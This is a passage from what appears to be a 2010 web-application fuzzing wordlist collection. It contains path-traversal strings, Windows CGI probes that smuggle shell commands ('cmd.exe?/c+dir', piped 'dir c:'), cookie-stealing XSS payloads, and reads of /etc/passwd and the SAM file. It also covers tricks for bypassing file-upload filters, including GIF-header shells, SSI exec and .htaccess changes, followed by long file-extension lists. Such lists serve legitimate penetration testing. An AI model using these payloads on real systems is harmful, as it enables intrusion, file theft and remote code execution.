/> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010)<br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> 